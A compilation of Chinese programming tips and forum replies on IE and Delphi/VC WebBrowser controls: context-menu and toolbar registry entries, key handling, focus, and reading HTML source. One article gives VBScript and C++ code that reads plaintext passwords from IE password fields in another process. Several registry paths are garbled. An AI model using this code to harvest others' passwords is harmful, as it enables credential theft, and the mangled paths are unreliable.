Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERExplorer&Get URL]

@="c:\program files\geturl.htm"

"Contexts"=dword:00000022

将文件以reg为后缀保存，然后在Windows资源管理器中双击该文件将注册项添加到注册表中，然后打开

IE，右键点击一个连接或者图片，在弹出菜单中会出现一个Get URL项，点击该项，就会出现一个消息框显示

点击的连接或者图片的URL地址

下面再介绍一下上面注册项中Contexts项的作用，通过该项可以制定菜单项在右键点击IE中的什么对象时

出现，它可以为以下值的“或”组合：

对象 值

缺省 0x1

图片 0x2

控件 0x4

表单域 0x8

选择文本 0x10

锚点 0x20

例如上面我们希望菜单项在用户点击图片或者超链接时出现，那么我们就将值设置为dword:00000022，既在

点击图片 或者 锚点时出现菜单。一个锚点是页面中描述一个超链接的对象。如果不设置Contexts项，则菜单项

会在点击任何对象时出现在右键菜单中。

通过上面的程序介绍我们可以看到IE鼠标右键菜单的工作过程。前面讲了，Netants就是使用这样的方法通过

在脚本中建立对象来实现调用NetAnts的，那么我们如果安装了NetAnts，就可以在程序中通过调用NetAnts对象来

调用NetAnts。

建立一个新工程，点击菜单 Projects | References 项，选择其中的 AntAPI 1.0 Type Library 项，如果没有

点击Browser按钮，在文件列表框中选择网络蚂蚁目录下的NetAPI.dll后按打开键。在Form1中添加一个CommandButton

按钮，在Command1_Click事件中添加如下代码：

Dim ant As New ANTAPILib.AntAPIObj

ant.AddUrl "http://www.applevb.com/z.zip", "", "http://www.applevb.com/"

点击command1，然后NetAnts就会运行并且将http://www.applevb.com/z.zip添加到任务中。

二、如何添加任务栏按钮

基本上来说，添加任务栏按钮只需要修改注册表就可以实现。通过修改注册表来实现添加按钮的步骤如下：

1、建立一个GUID。

2、打开注册表编辑器，转到HKEY_LOCAL_MACHINEExplorer部分，

在其下添加一个新的项，名称为 <Your GUID> ，Your GUID为你刚建立的GUID。

3、在注册表的 HKEY_LOCAL_MACHINEExplorer<Your GUID>

下建立一个新的String类型的值，名称为HotIcon，该值定义当按钮具有热点时的图标，它的一般类型为：

包含图标的文件全路径名,图标索引，例如：

C:~1.DLL,208

4、在注册表的 HKEY_LOCAL_MACHINEExplorer<Your GUID>

下建立一个新的String类型的值，名称为Icon，该值定义当按钮的图标，它的一般类型为：

图标文件全路径名,图标索引

5、在注册表的 HKEY_LOCAL_MACHINEExplorer<Your GUID>

下建立一个新的String类型的值，名称为ButtonText，该值定义按钮的ToolTip文本。

6、在注册表的 HKEY_LOCAL_MACHINEExplorer<Your GUID>

下建立一个新的String类型的值，名称为Default Visible，该值定义按钮是否可见，如果是，则该值设定

为"Yes"，否则设定为"No"。

7、在注册表的 HKEY_LOCAL_MACHINEExplorer<Your GUID>

下建立一个新的String类型的值，名称为Clsid，将该值设定为{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}

8、在注册表的 HKEY_LOCAL_MACHINEExplorer<Your GUID>

下建立一个新的String类型的值，名称为Exec，该值定义点击按钮后运行的文件的全路径名称，例如:

c:files.exe

例如NetAnts的按钮注册表项的内容就是象下面这样：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINEExplorer\57E91B47-F40A-11D1-B792-444553540000}]

"CLSID"="{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}"

"Default Visible"="Yes"

"HotIcon"="C:\PROGRA~1\NETANTS\NetAnts.exe,1001"

"Icon"="C:\PROGRA~1\NETANTS\NetAnts.exe,1000"

"Exec"="C:\PROGRA~1\NETANTS\NetAnts.exe"

"ButtonText"="NetAnts"

"MenuText"="&NetAnts"

"MenuStatusBar"="Launch NetAnts"

当点击NetAnts按钮时就会运行Netants。上面的注册表项中下面的两项：MenuText项添加一个菜单项到菜单

的“工具”栏中，MenuStatusBar项定义当光标移动到添加的菜单栏上后显示在状态栏中提示文本。此外在注册表的

HKEY_LOCAL_MACHINEExplorer<Your GUID>下还可以添加一个名称为

MenuCustomize的字符串类型值，将该值设定为"Help"将使菜单项出现在“帮助”菜单栏中，否则出现在“工具”栏中。

当然，我们不会满足于只是添加一个按钮，执行一个程序，我们希望能够获得当用户点击按钮时能够操控当前

页面，在注册表的 HKEY_LOCAL_MACHINEExplorer<Your GUID>

下建立一个新的String类型的值，名称设定为一个htm文件的全路径名，同前面介绍的添加鼠标右键菜单一样，在点击

按钮后IE会调用该文件，在文件中通过设定VBScript访问external对象的menuArguments属性就可以获得浏览器中的

页面。例如我们将HKEY_LOCAL_MACHINEExplorer<Your GUID>

的值设定为c:files.htm，然后在c:files下建立一个名为Samp.htm的文件，在文件中输入以下

脚本内容：

<script language="VBScript">

Set objNetSamp=CreateObject("IEContextMenu.IEMenu1")

userURL=external.menuArguments.location.href

Call objNetSamp.AddUrl(userURL,"")

</script>

打开IE浏览器，点击新建按钮，就会弹出对话框显示当前页面的URL。注意该项同前面设定的Exec项不能够同时使用。

最后，对于按钮图标，IE需要两种尺寸的图标：20x20和16x16的，前者用于正常状态下的显示，后者用于在全屏幕

下的显示，所以上面HotIcon和Icon指向的图标资源应该是三个图标的组合，这三个图标的规格如下：

16x16 16-色 icon (必须)

20x20 16-色 icon (可选)

20x20 256-色 icon (必须)

在设计图标时，256色图标应该使用Windows半色调调色板，而16色图标使用Windows 16色调色板。


如何获取网页密码框中的密码
如何获取网页密码框中的密码

作者:Sjx

前言

本人是在家中上网,经常有一些BBS的密码懒得记了,就用IE的自动密码保存功能,这样一来是方便了,但却有一个麻烦,一旦机子不行了,想要重装操作系统了,这些密码却也取不出了,还得重新申请,好麻烦!因此我就写了一个工具,可以取得网页密码框的密码.

因为网页密码框不是一般的EDIT控件,因此不能取得网页密码框的句柄.要实现这个功能,只好通过WebBrowser控件的有关COM接口了.因此取得这些接口是整个程序的关键.有两种方法可以取得WebBrowser控件的接口,接下来我们会逐一介绍，并提供示例源代码供大家参考。

下载源代码 大小:24K

示例程序运行效果图

第一种方法:使用脚本语言和IE右键菜单

我们可以使用注册表来控制IE右键菜单.当你装了FlashGet(网际快车)时,你会发现IE右键菜单多了两项:"使用网际快车下载"和"使用网际快车下载全部链接",而这时你打开注册表,在HKEY_CURRENT_USERExplorer\u19979下有这两个主键.这两个主键下都有两个值,一个是默认的串值,指定了选择了这个菜单命令要打开的URL,IE在一个隐藏的窗口打开它,并这个隐藏窗口的external.menuArguments值设为当前窗口对象,执行完URL对话网页包含的脚本程序该窗口自动关闭.另一个名称是contexts是DWORD值,指定了在什么情况下需要显示这个菜单项.具体的值见下.

(0x1 << CONTEXT_MENU_DEFAULT) (等于 0x1) //缺省时显示

(0x1 << CONTEXT_MENU_IMAGE) (等于 0x2) //右键点击图像时显示该项

(0x1 << CONTEXT_MENU_CONTROL) (等于 0x4) //右键点击表单元素时显示该项

(0x1 << CONTEXT_MENU_TABLE) (等于 0x8) //右键点击表格时显示该项

(0x1 << CONTEXT_MENU_TEXTSELECT) (等于 0x10) //右键点击高亮选择的文本时显示该项

(0x1 << CONTEXT_MENU_ANCHOR) (等于 0x20) //右键点击链接时显示该项

(0x1 << CONTEXT_MENU_UNKNOWN) (等于 0x40)//右键点击网页中除上以外的地方显示该项

现在我们写一段脚本程序以获取密码框的值. <!--getpassword.htm->

<script language="VBScript">

Sub GetPassword()

set srcEvent = external.menuArguments.event

Set doc=external.menuArguments.document

set ele=doc.elementFromPoint( srcEvent.clientX, srcEvent.clientY )

if ele.type ="password" then

if ele.value="" then

Alert("密码为空")

else

Alert("密码为:"+ele.value)

end if

end if

end sub

call GetPassword()

</script>

然后在注册表HKEY_CURRENT_USERExplorer\u19979下新建一下主键,键名为"取得密码",缺省值设为该htm文件的路径,在该主键下另增一个DWORD值,值为4,表示只在右击表单元素时显示该项.关闭注册表,重新启动IE窗口,点击一下密码框,就会出现该项,点击该项,弹出一个对话框,告诉你的密码.

第二种方法:使用VC来实现

由于VC知识库是一个关于C++以及Visual C++的网站，与脚本语言没什么关系。所以我们要用另一种稍微复杂一点的方法来实现相同的事情，那就是用C++来做。在不同的进程中取得IE的Webbrowser控件的IHTMLDocument2接口,请参阅MSDN上的一篇文章,标题是:HOWTO: Get IHTMLDocument2 from a HWND(根据HWND取得IHTMLDocument2接口)(http://support.microsoft.com/default.aspx?scid=kb;EN-US;q249232).它的实现机理是向Webbrowser控件(窗口类名是"Internet Explorer_Server")发一个WM_HTML_GETOBJECT,然后把返回值传给Microsoft Active Accessibility (MSAA) 函数ObjectFromLresult,这样你会取得一个已经编排(Marshaling)过的COM接口.如下函数所示:

IHTMLDocument2* GetDocInterface(HWND hWnd)

{

// 我们需要显示地装载OLEACC.DLL,这样我们才知道有没有安装MSAA

HINSTANCE hInst = ::LoadLibrary( _T("OLEACC.DLL") );

IHTMLDocument2* pDoc2=NULL;

if ( hInst != NULL ){

if ( hWnd != NULL ){

CComPtr spDoc=NULL;

LRESULT lRes;

/*由于WM_HTML_GETOBJECT非Windows标准消息,所以需要RegisterWindowMessage*/

UINT nMsg = ::RegisterWindowMessage( _T("WM_HTML_GETOBJECT") );

::SendMessageTimeout( hWnd, nMsg, 0L, 0L, SMTO_ABORTIFHUNG, 1000, (DWORD*)&lRes );

/*取得ObjectFromLresult函数的地址*/

LPFNOBJECTFROMLRESULT pfObjectFromLresult = (LPFNOBJECTFROMLRESULT)::GetProcAddress( hInst, _T("ObjectFromLresult") );

if ( pfObjectFromLresult != NULL ){

HRESULT hr;

hr=pfObjectFromLresult(lRes,IID_IHTMLDocument,0,(void**)&spDoc);

if ( SUCCEEDED(hr) ){

CComPtr spDisp;

CComQIPtr spWin;

spDoc->get_Script( &spDisp );

spWin = spDisp;

spWin->get_document( &pDoc2 );

}

}

}

::FreeLibrary(hInst);

}

else{//如果没有安装MSAA

AfxMessageBox(_T("请您安装Microsoft Active Accessibility"));

}

return pDoc2;

}

这样,我们就取得了IHTMLDocument2*接口了,要取得密码框的密码还得一番周折,首先得构造一个基于对话框的MFC程序,增加一个按钮,在主对话框类增加一个成员变量m_bCapture,在构造函数中初始化为FALSE.

然后处理该按钮的Click事件: void CXXXXDlg::OnGetHtmlClick()

{

SetCapture();//跟踪鼠标

m_bCapture=TRUE;

}

接着应该处理WM_LBUTTONUP消息: void CXXXXDlg::OnLButtonUp(UINT nFlags, CPoint point)

{

if(m_bCapture){

m_bCapture=FALSE;

ReleaseCapture();//释放鼠标

static TCHAR buf[100];

POINT pt;

GetCursorPos(&pt);

HWND hwnd=::WindowFromPoint(pt);

if(hwnd!=NULL){

::GetClassName( hwnd, (LPTSTR)&buf, 100 );

if ( _tcscmp( buf, _T("Internet Explorer_Server") ) == 0 ){

POINT iept=pt;

::ScreenToClient(hwnd,&iept);

GetPassword(GetDocInterface(hwnd),iept);

}

}

}

CDialog::OnLButtonUp(nFlags, point);

}

GetPassword函数是这样实现的,基本可以模仿VBScript的调用,但要复杂一些: void GetPassword(IHTMLDocument2* pDoc2,POINT pt)

{

if(pDoc2==NULL)return;

CComPtr<IHTMLElement> pElement;

HRESULT hr=pDoc2->elementFromPoint(pt.x,pt.y,&pElement);//取得鼠标所在的元素

if(SUCCEEDED(hr)){

CComPtr<IHTMLInputTextElement> pPwdElement;

hr=pElement->QueryInterface(IID_IHTMLInputTextElement,

(void**)&pPwdElement);//是否有表单输入元素

if(SUCCEEDED(hr)){

CComBSTR type;

hr=pPwdElement->get_type(&type);

if(SUCCEEDED(hr)){

if(type==_T("password")){//是密码框吗?

CComBSTR pwd;

hr=pPwdElement->get_value(&pwd);

if(SUCCEEDED(hr)){

if(pwd.Length()!=0){//有密码则显示

CComBSTR msg=_T("密码是:");

msg+=pwd;

CString str(msg);

AfxMessageBox(str);

}

else{

AfxMessageBox(_T("密码为空!"));

}

}

}

}

}

}

pDoc2->Release();

}

使用这种方法要注意:

1.如果程序在Windows95,98和NT 4.0 Service With Pack 4 or 5下运行必须要把Microsoft Active Accessibility (MSAA)运行时组件(RDK)与程序一起发布(Windows2000及Windows NT 4.0 Service With Pack 6中已经有了,所以不用).

2.这种方法只适用用于Internet Explorer (Programming) versions 4.0, 4.01, 4.01 SP1, 4.01 SP2, 5

3.使用这种方法前要调用CoInitialize(NULL);然后应该相应地调用CoUninitialize();

4.Microsoft Active Accessibility (MSAA)可从http://www.microsoft.com/enable/msaa/download.htm下载

附:

我们也可以使用Active Accessibility(MSAA)获取IHTMLDocument2*接口,见下程序:

/*函数名:GetDocInterfaceByMSAA

参数:hwnd,WebBrowser控件的窗口句柄

功能:取得hwnd对应的Webbrowser控件的IHTMLDocument2*接口.

*/ IHTMLDocument2* GetDocInterfaceByMSAA(HWND hwnd)

{

HRESULT hr;

HINSTANCE hInst = ::LoadLibrary( _T("OLEACC.DLL") );

IHTMLDocument2* pDoc2=NULL;

if ( hInst != NULL ){

if ( hwnd != NULL ){

//取得AccessibleObjectFromWindow函数

LPFNACCESSIBLEOBJECTFROMWINDOW pfAccessibleObjectFromWindow =

(LPFNACCESSIBLEOBJECTFROMWINDOW)::GetProcAddress(hInst,_T("AccessibleObjectFromWindow"));

if(pfAccessibleObjectFromWindow != NULL){

CComPtr spAccess;

hr=pfAccessibleObjectFromWindow(hwnd,0,

IID_IAccessible,(void**) &spAccess);//取得Webbrowser控件的IAccessible接口

if ( SUCCEEDED(hr) ){

CComPtr spServiceProv;

hr=spAccess->QueryInterface(IID_IServiceProvider,(void**)&spServiceProv);

if(hr==S_OK){

CComPtr spWin;

hr=spServiceProv->QueryService(IID_IHTMLWindow2,IID_IHTMLWindow2,

(void**)&spWin);

/*

注意:并不是每次都能取得IHTMLWindow2接口,如果调用失败,可以尝试取得IHTMLElement接口:

CComPtr spElement;

hr=spServiceProv->QueryService(IID_IHTMLElement,IID_IHTMLElement,(void**)&spElement);

*/

if(hr==S_OK)

spWin->get_document(&pDoc2);

}

}

}

}

::FreeLibrary(hInst);

}

else{

AfxMessageBox(_T("请您安装Microsoft Active Accessibility"));

}

return pDoc2;

}

具体的例程可见本文提供的源代码(在WINDOWS ME，IE 5.5,VC6.0调试通过)


动态改变Twebbrowser的Charset
var

Doc:IHTMLDocument2;

begin

Doc:=wbrowser.document as IHtmlDocument2;

Doc.Set_charset(widestring('big5'));

end;

Twebbroswer的显示字体有所变化，可是还是不正常

用webbrowser.oleobject.document.chat_set('big5')

webbrowser.refresh

试一下

来自：eagleboost

为什么我总是错过很多机会？其实早就该想到的，但是一念之差，便即天壤之别。当时我要是肯再多考虑一下，多试验一下，这就不会排到第１１条了。下面给出一个函数，搞定，难以想象的简单。

    procedure SetCharSet(AWebBrowser: TWebBrowser; ACharSet: String);

    var

      RefreshLevel: OleVariant;

    Begin

      IHTMLDocument2(AWebBrowser.Document).Set_CharSet(ACharSet);

      RefreshLevel :=7;　　　　　　　　　　　　　　//这个7应该从注册表来，帮助有Bug。

      AWebBrowser.Refresh2(RefreshLevel);

    End;


关于TWebBrowser的按键问题
在Delphi | C++Builder中，用CoolBar+ToolBar建立一个主菜单，再在窗口上内建一个WebBrowser，运行，在WebBrowser中打开一个有表单的HTML页面，在页面里输入一些东西，这时候如果输入的字符中含有‘F’，则主菜单(&File)会自动下拉；输入‘E’，则主菜单(&Edit)会自动下拉。

声明：我键盘上的ALT键很正常。

不知哪位是否碰到过同样的问题？怎么解决呢？

回复人：haoxg(白日梦)　(2001-6-3 15:50:00) 得0分

问题已经解决。

跟踪VCL的代码发现这原来并非VCL的错误，猜想是ComCtl32.dll内部的一个BUG。

也就是说在WebBrowser和ToolBar共存的情况下，在WebBrowser中的击键消息会被ToolBar误认为是DialogChar。

我override了ToolBar里的CM_DIALOGCHAR消息后没有了这个问题：

procedure TMyToolBar.CMDialogChar(var Message: TCMDialogChar);

var

Keys: TKeyboardState;

begin

GetKeyboardState(Keys);

if (Keys[VK_LMENU] = 1) or (Keys[VK_RMENU] = 1) then inherited;

end;


tWebBrowser中不能回车以及copy
在tWebBrowser中，如果navigate到的页面上有textarea框，我发现就是不能在里面用回车换行，一定要用alt+13才行。另外不能ctrl+c。

是不是该控件的bug，还是哪里设置不对？

回复贴子：

  回复人：Daiver(Daiver)　(2000-11-30 19:09:00) 得0分

是Delphi的BUG来的，在VB中没有这种情况（老BILl)还是对自己好啊！）在程序员大本营中有解决的办法，是DELphi中的技巧2，我只是看了，没有去试过，你可以去试试 啊，有什么结果记得E_mail给我（Daiver@163.net)

  回复人：easypaper()　(2000-11-30 19:24:00) 得0分

关于复制的问题，不是DELPHI的BUG，是因为你的程序里面少了一点东西。

在初始化函数里面，增加

OleInitialize(nil);

在推出程序之前，增加：

OleUninitialize（）；

解可以解决这个问题。

至于回车的问题，可以算是vcl的bug（其实是封装机制问题，vcl将回车给吃掉了）。

  回复人：menxin()　(2000-12-4 20:31:00) 得0分

没办法彻底解决，你应该用www.intelligo.com/iedelphi 上的Embedded.

  回复人：pengpenghu(碰碰和)　(2000-12-9 10:10:00) 得0分

我无法打开这个网站www.intelligo.com/iedelphi ，你有没有现成的？

  回复人：Nicrosoft(奈软)　(2000-12-9 10:27:00) 得0分

这个控件不是vcl的，是IE自带的ocx，所以不可能是delphi的bug

  回复人：alaclp(陈石)　(2001-2-22 8:21:00) 得0分

在主窗体中添加TappliationEvent,在其事件中写如下代码,

//uses Activex

procedure TMainFrm.ApplicationEvents1Message(var Msg: tagMSG;

var Handled: Boolean);

{ fixes the malfunction of some keys within webbrowser control }

const

StdKeys = [VK_TAB, VK_RETURN]; { standard keys }

ExtKeys = [VK_DELETE, VK_BACK, VK_LEFT, VK_RIGHT]; { extended keys }

fExtended = $01000000; { extended key flag }

var

WebBrowser1: TWebBrowser;

begin

if Pages.PageCount = 0 then Exit;

WebBrowser1 := GetCurrentWeb;

Handled := False;

with Msg do

if ((Message >= WM_KEYFIRST) and (Message <= WM_KEYLAST)) and

((wParam in StdKeys) or {$IFDEF VER120}(GetKeyState(VK_CONTROL) < 0) or {$ENDIF}

(wParam in ExtKeys) and ((lParam and fExtended) = fExtended)) then

try

if IsChild(WebBrowser1.Handle, hWnd) then

{ handles all browser related messages }

begin

with WebBrowser1.Application as IOleInPlaceActiveObject do

Handled := TranslateAccelerator(Msg) = S_OK;

if not Handled then

begin

Handled := True;

TranslateMessage(Msg);

DispatchMessage(Msg);

end;

end;

except end;

end; // IEMessageHandler

另外,easypaper所说的oleini..., oleunini...,不只写在那里,有何作用?

  回复人：aton()　(2001-2-28 19:33:00) 得0分

先要使WebBrowser获得焦点

    TWebBrowser非常特殊，它从TWinControl继承来的SetFocus方法并不能使得它所包含的文档获得焦点，从而不能立即使用Internet Explorer本身具有得快捷键，解决方法如下：<

    procedure TForm1.SetFocusToDoc;

    begin

      if WebBrowser1.Document <> nil then

        with WebBrowser1.Application as IOleobject do

          DoVerb(OLEIVERB_UIACTIVATE, nil, WebBrowser1, 0, Handle, GetClientRect);

    end;

    除此之外，我还找到一种更简单的方法，这里一并列出：

    if WebBrowser1.Document <> nil then

      IHTMLWindow2(IHTMLDocument2(WebBrowser1.Document).ParentWindow).focus

    刚找到了更简单的方法，也许是最简单的：

    if WebBrowser1.Document <> nil then

      IHTMLWindow4(WebBrowser1.Document).focus

    还有，需要判断文档是否获得焦点这样来做：

    if IHTMLWindow4(WebBrowser1.Document).hasfocus then


WebBrowser的Copy、Delete、Cut
下面的代码检测Copy命令是否可以使用：

procedure TForm1.ButtonIsCopyEnabledClick(Sender: TObject);

begin

if Webbrowser1.OleObject.Document.queryCommandEnabled('Copy') then

ShowMessage('Copy is active/ Copy ist aktiv');

end;

**********************************************

Copy, Delete, Cut in the TWebbrowser?

uses

ActiveX;

// Copy the selected text to the clipboard

// Den markierten Text in die Zwischenablage kopieren

procedure TForm1.Button7Click(Sender: TObject);

begin

try

WebBrowser1.ExecWB(OLECMDID_COPY, OLECMDEXECOPT_PROMPTUSER);

except

end;

end;

// Cut the selected text

// Den markierten Text ausschneiden

procedure TForm1.Button8Click(Sender: TObject);

begin

try

WebBrowser1.ExecWB(OLECMDID_CUT, OLECMDEXECOPT_PROMPTUSER);

except

end;

end;

// Delete the selected text

// Den markierten Text l鰏chen

procedure TForm1.Button9Click(Sender: TObject);

begin

try

WebBrowser1.ExecWB(OLECMDID_DELETE, OLECMDEXECOPT_PROMPTUSER);

except

end;

end;

initialization

OleInitialize(nil);

finalization

OleUninitialize;

end.

// as of Internet Explorer 4


TWebBrowser控件无法响应回车键
TWebBrowser控件无法响应回车键怎么办?希望得到一个很妥当的方法

WnEunfn(斯人不语)

好不容易才解决这个问题，由于代码比较长，你要慢慢看吧……

首先：

uses ActiveX;//引用！！

----------------------------------------------------------------

TfrmChildWeb = class(TForm)

WebBrowser: TWebBrowser;//TwebBrowser!!!

procedure FormCreate(Sender: TObject);//必用的一个事件…

private

FOleInPlaceActiveObject: IOleInPlaceActiveObject;

procedure MsgHandler(var Msg: TMsg; var Handled: Boolean);//自定义的一个处理……

public

end;

----------------------------------------------------------------

过程：

procedure TfrmChildWeb.MsgHandler(var Msg: TMsg; var Handled: Boolean);

var

iOIPAO: IOleInPlaceActiveObject;

Dispatch: IDispatch;

begin

if WebBrowser = nil then begin

Handled := False;

Exit;

end;

Handled := (IsDialogMessage(WebBrowser.Handle, Msg) = True);

if (Handled) and (not WebBrowser.Busy) then

begin

if FOleInPlaceActiveObject = nil then

begin

Dispatch := WebBrowser.Application;

if Dispatch <> nil then

begin

Dispatch.QueryInterface(IOleInPlaceActiveObject, iOIPAO);

if iOIPAO <> nil then

FOleInPlaceActiveObject := iOIPAO;

end;

end;

if FOleInPlaceActiveObject <> nil then

if ((Msg.message = WM_KEYDOWN) or (Msg.message = WM_KEYUP)) and

((Msg.wParam = VK_BACK) or (Msg.wParam = VK_LEFT) or (Msg.wParam = VK_RIGHT)) then

else

FOleInPlaceActiveObject.TranslateAccelerator(Msg);

end;

end;

procedure TfrmChildWeb.FormCreate(Sender: TObject);

begin

Application.OnMessage := MsgHandler;

end;


点击“提交”按钮
７、点击“提交”按钮

    如同程序里每个窗体上有一个“缺省”按钮一样，Web页面上的每个Form也有一个“缺省”按钮--即属性为“Submit”的按钮，当用户按下回车键时就相当于鼠标单击了“Submit”。但是TWebBrowser似乎并不响应回车键，并且，即使把包含TWebBrowser的窗体的KeyPreview设为True，在窗体的KeyPress事件里还是不能截获用户向TWebBrowser发出的按键。

    我的解决办法是用ApplicatinEvents构件或者自己编写TApplication对象的OnMessage事件，在其中判断消息类型，对键盘消息做出响应。至于点击“提交”按钮，可以通过分析网页源代码的方法来实现，不过我找到了更为简单快捷的方法，有两种，第一种是我自己想出来的，另一种是别人写的代码，这里都提供给大家，以做参考。

    A、用SendKeys函数向WebBrowser发送回车键

       在Delphi 5光盘上的Info目录下有一个SndKey32.pas文件，其中包含了两个函数SendKeys和AppActivate，我们可以用SendKeys函数来向WebBrowser发送回车键，我现在用的就是这个方法，使用很简单，在WebBrowser获得焦点的情况下（不要求WebBrowser所包含的文档获得焦点），用一条语句即可：

      Sendkeys('~',true);// press RETURN key

      SendKeys函数的详细参数说明等，均包含在SndKey32.pas文件中。

    B、在OnMessage事件中将接受到的键盘消息传递给WebBrowser。

      procedure TForm1.ApplicationEvents1Message(var Msg: TMsg; var Handled: Boolean);

      {fixes the malfunction of some keys within webbrowser control}

      const

        StdKeys = [VK_TAB, VK_RETURN]; { standard keys }

        ExtKeys = [VK_DELETE, VK_BACK, VK_LEFT, VK_RIGHT]; { extended keys }

        fExtended = $01000000; { extended key flag }

      begin

        Handled := False;

        with Msg do

        if ((Message >= WM_KEYFIRST) and (Message <= WM_KEYLAST)) and

          ((wParam in StdKeys) or

          {$IFDEF VER120}(GetKeyState(VK_CONTROL) < 0) or {$ENDIF}

          (wParam in ExtKeys) and

          ((lParam and fExtended) = fExtended)) then

        try

          if IsChild(Handle, hWnd) then { handles all browser related messages }

          begin

            with {$IFDEF VER120}Application_{$ELSE}Application{$ENDIF} as

                IOleInPlaceActiveObject do

              Handled := TranslateAccelerator(Msg) = S_OK;

              if not Handled then

              begin

                Handled := True;

                TranslateMessage(Msg);

                DispatchMessage(Msg);

              end;

              end;

        except

        end;

      end; // MessageHandler

    （此方法来自EmbeddedWB.pas）


使WebBrowser获得焦点
使WebBrowser获得焦点

来自阿甘的家

    TWebBrowser非常特殊，它从TWinControl继承来的SetFocus方法并不能使得它所包含的文档获得焦点，从而不能立即使用Internet Explorer本身具有得快捷键，解决方法如下：<

    procedure TForm1.SetFocusToDoc;

    begin

      if WebBrowser1.Document <> nil then

        with WebBrowser1.Application as IOleobject do

          DoVerb(OLEIVERB_UIACTIVATE, nil, WebBrowser1, 0, Handle, GetClientRect);

    end;

    除此之外，我还找到一种更简单的方法，这里一并列出：

    if WebBrowser1.Document <> nil then

      IHTMLWindow2(IHTMLDocument2(WebBrowser1.Document).ParentWindow).focus

    刚找到了更简单的方法，也许是最简单的：

    if WebBrowser1.Document <> nil then

      IHTMLWindow4(WebBrowser1.Document).focus

    还有，需要判断文档是否获得焦点这样来做：

    if IHTMLWindow4(WebBrowser1.Document).hasfocus then


TWebBrowser控件直接显示网页源代码
unit MA;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

OleCtrls, SHDocVw, StdCtrls, Psock, ComObj;

type

TForm1 = class(TForm)

WB1: TWebBrowser;

b1: TButton;

urltext: TEdit;

listurl: TEdit;

Memo1: TMemo;

procedure b1Click(Sender: TObject);

procedure WB1DocumentComplete(Sender: TObject;

const pDisp: IDispatch; var URL: OleVariant);

private

{ Private declarations }

public

{ Public declarations }

end;

{ IPersistStream interface }

{$EXTERNALSYM IPersistStream}

IPersistStream = interface(IPersist)

['{00000109-0000-0000-C000-000000000046}']

function IsDirty: HResult; stdcall;

function Load(const stm: IStream): HResult; stdcall;

// 从流中载入

function Save(const stm: IStream;

fClearDirty: BOOL): HResult; stdcall;

// 保存到流

function GetSizeMax(out cbSize: Largeint):

HResult; stdcall; // 取得保存所需空间大小

end;

{ IPersistStreamInit interface }

{$EXTERNALSYM IPersistStreamInit}

IPersistStreamInit = interface(IPersistStream)

['{7FD52380-4E07-101B-AE2D-08002B2EC713}']

function InitNew: HResult; stdcall; // 初始化

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

function GetHtml(const WebBrowser:

TWebBrowser): string;

const

BufSize = $10000;

var

Size: Int64;

Stream: IStream;

hHTMLText: HGLOBAL;

psi: IPersistStreamInit;

begin

if not Assigned(WebBrowser.Document) then Exit;

OleCheck(WebBrowser.Document.QueryInterface

(IPersistStreamInit, psi));

try

//OleCheck(psi.GetSizeMax(Size));

hHTMLText := GlobalAlloc(GPTR, BufSize);

if 0 = hHTMLText then RaiseLastWin32Error;

OleCheck(CreateStreamOnHGlobal(hHTMLText,

True, Stream));

try

OleCheck(psi.Save(Stream, False));

Size := StrLen(PChar(hHTMLText));

SetLength(Result, Size);

CopyMemory(PChar(Result), Pointer(hHTMLText),

Size);

finally

Stream := nil;

end;

finally

psi := nil;

end;

end;

procedure TForm1.b1Click(Sender: TObject);

begin

WB1.Navigate(urltext.text);

end;

procedure TForm1.WB1DocumentComplete(Sender: TObject;

const pDisp: IDispatch; var URL: OleVariant);

var

p:Ansistring;

begin

p:=WB1.LocationURL;

listurl.text:=p;

Memo1.text:=GetHtml(Wb1);

end;

end.


直接访问WebBrowser控件中的HTML源码
html

webbrowser.OleObject.document.documentelement.innerhtml;

Text

webbrowser.OleObject.document.documentelement.innerText;

********************

为了实现在自己的程序中显示HTML文档，我们一般采用IE(Internet Explorer本文中简称为IE)发行时附带的一个ActiveX控件TWebBrowser。这个控件使用和IE相同的内核，功能强大，并从Delphi5开始，正式得到Inprise公司的支持，取代了原来的那个THTML控件，成为Delphi中显示HTML文档的首选控件。

但是在实际编程过程中，我发现这个控件提供的功能有很多限制，比如对HTML文档的浏览，只能通过指定URL或文件名来实现，不能像以往使用THTML控件那样直接读写HTML源码。因此如果程序动态生成了一段HTML文本，就必须把文本内容先写到一个临时文件，然后再将此文件的文件名传递给WebBrowser控件，实现显示。走这一个弯路使程序响应速度受到很大影响，而且容易遗留下一些"垃圾"(临时文件)。

---- 在考察了一些使用了WebBrowser控件的程序后，我发现大部分程序，如著名国产软件FoxMail，都是使用的通过临时文件传递HTML文档的方法；但一些国外的软件，如MS自己的OutLook Express则不存在这个问题，而因为其无需产生临时文件，因此对HTML文档的显示速度明显超过Foxmail。

---- 为此，我查阅了一些相关资料，最后在网友的帮助下找到了实现直接访问WebBrowser控件中的HTML源码的方法。在此要特别感谢白云黄鹤BBS(bbs.whnet.edu.cn)上的网友AngleFalls提供线索。

---- 其实，WebBrowser控件中的Document对象，这个对象提供了一个IPersistStreamInit接口，通过此接口，我们可以方便地实现对HTML源码的读写。

---- 以下是IPersistStreamInit接口的相关定义及说明：

{ IPersistStream interface }

{$EXTERNALSYM IPersistStream}

IPersistStream = interface(IPersist)

['{00000109-0000-0000-C000-000000000046}']

function IsDirty: HResult; stdcall;

// 最后一次存盘后是否被修改

function Load(const stm: IStream): HResult; stdcall;

// 从流中载入

function Save(const stm: IStream;

fClearDirty: BOOL): HResult; stdcall;

// 保存到流

function GetSizeMax(out cbSize: Largeint):

HResult; stdcall; // 取得保存所需空间大小

end;

{ IPersistStreamInit interface }

{$EXTERNALSYM IPersistStreamInit}

IPersistStreamInit = interface(IPersistStream)

['{7FD52380-4E07-101B-AE2D-08002B2EC713}']

function InitNew: HResult; stdcall; // 初始化

end;

首先来实现写，因为这是最迫切的要求：

procedure SetHtml(const WebBrowser:

TWebBrowser; const Html: string);

var

Stream: IStream;

hHTMLText: HGLOBAL;

psi: IPersistStreamInit;

begin

if not Assigned(WebBrowser.Document) then Exit;

hHTMLText := GlobalAlloc(GPTR, Length(Html) + 1);

if 0 = hHTMLText then RaiseLastWin32Error;

CopyMemory(Pointer(hHTMLText),

PChar(Html), Length(Html));

OleCheck(CreateStreamOnHGlobal

